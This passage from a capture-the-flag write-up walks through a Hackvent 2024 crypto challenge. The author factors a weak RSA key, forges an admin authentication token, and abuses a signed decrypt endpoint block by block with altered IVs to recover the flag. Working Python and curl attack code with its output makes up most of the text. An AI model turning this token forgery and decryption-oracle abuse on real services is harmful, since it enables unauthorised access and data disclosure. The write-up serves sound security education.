except (FileNotFoundError, json.decoder.JSONDecodeError):
    all_factors = {}
if str(n) not in all_factors:
    factors = factorint(n)
    all_factors[str(n)] = [p for p in factors]
    with open('factors.json', 'w') as f:
        json.dump(all_factors, f)
factors = all_factors[str(n)]

rsa = RSA(factors)

data = {"sub": 1, "exp": "2025-12-17T18:00:36.209531+00:00"}
data_str = json.dumps(data).encode()

sig = b64encode(rsa.sign(data_str)).decode().strip("=")
body = b64encode(data_str).decode().strip("=")

print(f"{body}.{sig}")

Factoring with Python is a bit slow, so I’ll cache the primes in a file and only re-factor if I get a new instance. It generates a token:

oxdf@hacky$ python craft_jwt.py 152.96.15.2
eyJzdWIiOiAxLCAiZXhwIjogIjIwMjUtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.AZdCyZv8nBvpQj3BLtY5XCSDNfoBIMziMAEFLxTuCUZhUBORcc0E+qNWlSHFcRhgSBXy2ro5VR9kRFynh/vGiLOue4+4DAWzptl7YgjbIsXKcRllcecPzBDIBoBK7ZJ8CBqjLXqQYHW2e2wwCPbiUbah9uUr6bwO6XUd5I2ILlGArQ

Which is accepted:

oxdf@hacky$ token=eyJzdWIiOiAxLCAiZXhwIjogIjIwMjUtMTItMTdUMTg6MDA6MzYuMjA5NTMxKzAwOjAwIn0.AZdCyZv8nBvpQj3BLtY5XCSDNfoBIMziMAEFLxTuCUZhUBORcc0E+qNWlSHFcRhgSBXy2ro5VR9kRFynh/vGiLOue4+4DAWzptl7YgjbIsXKcRllcecPzBDIBoBK7ZJ8CBqjLXqQYHW2e2wwCPbiUbah9uUr6bwO6XUd5I2ILlGArQ
oxdf@hacky$ curl 152.96.15.2:8000/api/auth/status -b "seauthtoken=$token" 
{"authorized":true}

Flag Challenge

Flag Endpoint

There’s a /api/crypto/flag endpoint that returns the encrypted flag:

@crypto_router.get("/flag")
def flag(
    user: AuthorizedUser,
    key: GlobalSEAESEKey,
    rsa: GlobalRSA,
):
    """Encrypted Flag."""
    iv = long_to_bytes(randbits(16 * 8))
    # TODO: handle this better
    while len(iv) != 16:
        iv = long_to_bytes(randbits(16 * 8))
    cipher = SEAESECipher(key=key, iv=iv, rsa=rsa)

    ciphertext, signature = cipher.encrypt(FLAG)

    return {
        "ciphertext": encode(ciphertext),
        "signature": encode(signature),
        "iv": encode(iv),
    }

The same instance of RSA is used throughout the application. I don’t have access to the global key. I have to be any authorized user, so either my registered token or my forged token will work:

oxdf@hacky$ curl 152.96.15.2:8000/api/crypto/flag -b "seauthtoken=$token" 
{"ciphertext":"D1FAcLHnKyl3fmqTcrZqsBwPR-1AAxWnmIskWCOYrEHmfFt2lqdcUA5WOLHdJltTuLTjJi2dX6yi0KnJFXONpFYp3iDflAgMKzYT4IfWgwU","signature":"JRiC7PFU_LqUJNqOGW8TX7ZhsgvmmDmQFdBjYr5obm7_Ma5LjEFPE8MkYe2-pXbNbaVomsVfMI8jsaQvHNCBmMgD-c1-NMClisMTsT6iGYNCfzN1H-Xi9mn9CWGg5KVfALHnfTXYcZ2Ey6MmVzeJsfipBOOiPB9vgKuMiJqJydlc","iv":"SYSSsfYnsa9DWg0CtCdJWA"}

Decrypt Endpoint

There’s a /api/crypto/decrypt endpoint as well:

@crypto_router.post("/decrypt")
def decrypt(
    user: AdminUser,
    key: GlobalSEAESEKey,
    rsa: GlobalRSA,
    body: DecryptionBody,
):
    """Decrypt things."""
    iv = decode(body.iv)
    ciphertext = decode(body.ciphertext)
    signature = decode(body.signature)

    cipher = SEAESECipher(key=key, iv=iv, rsa=rsa)

    try:
        decrypted = cipher.decrypt(ciphertext, signature)
    except ValueError as e:
        return {"error": e.args[0]}

    if b"HV" in decrypted:
        # funny user detected
        return {"error": "JUST EXACTLY WHAT DO YOU THINK YOU ARE DOING LOL!!!!!"}

    try:
        return {"plaintext": decrypted.decode("utf-8")}
    except Exception:
        return {
            "error": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
        }

This endpoint is only available to AdminUser, which is defined in auth.py as :

def admin_user(user: Annotated[User, Depends(authorized_user)]):
    if not user.is_admin:
        raise PERMISSION_DENIED
    return user

AuthorizedUser = Annotated[User, Depends(authorized_user)]
AdminUser = Annotated[User, Depends(admin_user)]

is_admin() is defined in the User class as having a user id of 1:

class User(BaseModel):
    username: str
    email: EmailStr
    password: SecretStr

    @property
    def is_admin(self):
        return self.id == 1

In theory, I can just save the returns from /api/crypto/flag and submit them to /api/crypto/decrypt, but there’s a snag:

oxdf@hacky$ flag=$(curl 152.96.15.2:8000/api/crypto/flag -b "seauthtoken=$token" -s)
oxdf@hacky$ curl 152.96.15.2:8000/api/crypto/decrypt -b "seauthtoken=$token" -d "$flag" -H "Content-Type: application/json"
{"error":"JUST EXACTLY WHAT DO YOU THINK YOU ARE DOING LOL!!!!!"}

If “HV” is in the decrypted result, then it fails!

There’s another failure case where the resulting plaintext fails to decode as UTF-8.

Decrypt Flag

SEAESECipher

The SEAESECipher class takes a key, an IV, and a reference to the global RSA object:

class SEAESECipher(BaseModel):
    """Santas/~~Secure~~ enhanced AES encryption Cipher."""

    key: conbytes(min_length=16, max_length=16)
    iv: conbytes(min_length=16, max_length=16)
    rsa: RSA

It has three functions, encrypt, decrypt, and _ecb. The encrypt function:

  • Breaks the input into 16 byte chunks.
  • XORs the first chunk with the 16 byte IV and then gets a new AES object in ECB mode and encrypts it.
  • Subsequent blocks are XORed by the previous block of ciphertext, and then encrypted with a new AES object.
  • The resulting ciphertext is signed with the RSA object
    @property
    def _ecb(self):
        """Underlying inferior AES Mode."""
        return AES.new(self.key, AES.MODE_ECB)

    def encrypt(self, plaintext: bytes) -> bytes:
        """Encrypt plaintext, returns ciphertext and signature!"""
        assert len(plaintext) % 16 == 0

        enc = []
        blocks = _chunk(plaintext)
        enc.append(self._ecb.encrypt(xor(blocks[0], self.iv)))

        for i, block in enumerate(blocks[1:]):
            enc.append(self._ecb.encrypt(xor(block, enc[i])))

        ciphertext = b"".join(enc)
        signature = self.rsa.sign(self.iv + ciphertext)

        return ciphertext, signature

decryption is just the reverse.

Decrypt First Block

I already showed that I can pass the flag to the decrypt endpoint and it does decrypt (even if it doesn’t send to me). The decrypt order is verify signature, decrypt AES, and then XOR with IV. If I can generate signatures (which I can), I can modify the IV such that it XORs the result with something different. Because I know how that IV was modified, I can undo that when the result is sent to me.

This code will setup the attack, cracking RSA, forging an admin token, and getting the encrypted flag and IV:

import json
from base64 import b64encode
from sympy import factorint
import requests
import sys
from challenge.api.santas_encryption.crypto.rsa import RSA
from challenge.api.santas_encryption.utils import encode, decode
   

host = sys.argv[1]
resp_rsa = requests.get(f"http://{sys.argv[1]}:8000/api/crypto/rsa")
n = resp_rsa.json()["N"]
try:
    with open('factors.json', 'r') as f:
        all_factors = json.load(f)
except (FileNotFoundError, json.decoder.JSONDecodeError):
    all_factors = {}
if str(n) not in all_factors:
    factors = factorint(n)
    all_factors[str(n)] = [p for p in factors]
    with open('factors.json', 'w') as f:
        json.dump(all_factors, f)
factors = all_factors[str(n)]

rsa = RSA(factors)

data = {"sub": 1, "exp": "2025-12-17T18:00:36.209531+00:00"}
data_str = json.dumps(data).encode()

sig = encode(rsa.sign(data_str))
body = encode(data_str)
token = f"{body}.{sig}"

sess = requests.session()
sess.cookies.set("seauthtoken", token)

resp_flag = sess.get(f"http://{host}:8000/api/crypto/flag")

def pad(x):
    rem = len(x) % 4
    if rem > 0: x += "=" * (4 - rem)
    return x

ct = decode(resp_flag.json()["ciphertext"])
iv = decode(resp_flag.json()["iv"])

Now I want to modify the IV:

mod_iv = bytes(b ^ 0x55 for b in iv)
mod_sig = rsa.sign(mod_iv + ct)

resp_decrypt = sess.post(f"http://{host}:8000/api/crypto/decrypt",
          json={
              "ciphertext": encode(ct),
              "signature": urlsafe_b64encode(mod_sig).decode(),
              "iv": urlsafe_b64encode(mod_iv).decode(),
          })

if "plaintext" in resp_decrypt.json():
    mod_pt = resp_decrypt.json()["plaintext"]
    pt = ''.join([chr(0x55 ^ ord(b)) for b in mod_pt[:16]]) + mod_pt[16:]
    print(pt)
else:
    print(resp_decrypt.text)

I’m XORing it by 0x55 (anything should work) and then xoring the first block of what comes back by that. In theory this should work, but it fails:

oxdf@hacky$ python solve.py 152.96.15.2
{"error":"JUST EXACTLY WHAT DO YOU THINK YOU ARE DOING LOL!!!!!"}

That’s because there is a “HV” later in the flag beyond the first two bytes. If I cut the ciphertext to just the first block:

mod_ct = ct[:16]
mod_iv = bytes(b ^ 0x55 for b in iv)
mod_sig = rsa.sign(mod_iv + mod_ct)

resp_decrypt = sess.post(f"http://{host}:8000/api/crypto/decrypt",
          json={
              "ciphertext": encode(mod_ct),
              "signature": encode(mod_sig),
              "iv": encode(mod_iv),
          })

Now it works:

oxdf@hacky$ python solve.py 152.96.15.2
HV24{w3_r0ll_0ur

I can actually go all the way to ct[:48]:

mod_ct = ct[:48]

And it works to get a partial flag:

oxdf@hacky$ python solve.py 152.96.15.2
HV24{w3_r0ll_0ur_0wn_crypt0_h3re_4ls0_wh4t_4re_s

Get Full Flag

I tried a bunch of things at this point, such as moving the block at offset 48 up to the front where the IV would mess with it:

mod_ct = ct[48:64]

Unfortunately, this always returns an error:

oxdf@hacky$ python solve.py 152.96.15.2
{"error":"https://www.youtube.com/watch?v=dQw4w9WgXcQ"}

This error comes when it fails to decode as UTF-8. It should be XORed by the previous block, but it’s getting the IV, which is likely very different.

But I can use that! I’ll use a call for each block, setting the “IV” to the IV for the first block, and the next block of cipher text for each following block:

for i in range(0, len(ct), 16):
    if i == 0:
        mod_iv = bytes(b ^ 0x01 for b in iv)
    else:
        mod_iv = bytes(b ^ 0x01 for b in ct[i-16:i])
    mod_ct = ct[i:i+16]
    mod_sig = rsa.sign(mod_iv + mod_ct)

    resp_decrypt = sess.post(f"http://{host}:8000/api/crypto/decrypt",
            json={
                "ciphertext": encode(mod_ct),
                "signature": encode(mod_sig),
                "iv": encode(mod_iv),
            })

    if "plaintext" in resp_decrypt.json():
        mod_pt = resp_decrypt.json()["plaintext"]
        pt = ''.join([chr(0x01 ^ ord(b)) for b in mod_pt[:16]]) + mod_pt[16:]
        print(pt, end="")
    else:
        print(resp_decrypt.text)
print()

This gets the full flag:

oxdf@hacky$ python solve.py 152.96.15.2
HV24{w3_r0ll_0ur_0wn_crypt0_h3re_4ls0_wh4t_4re_standards?_HV_HV}

Flag: HV24{w3_r0ll_0ur_0wn_crypt0_h3re_4ls0_wh4t_4re_standards?_HV_HV}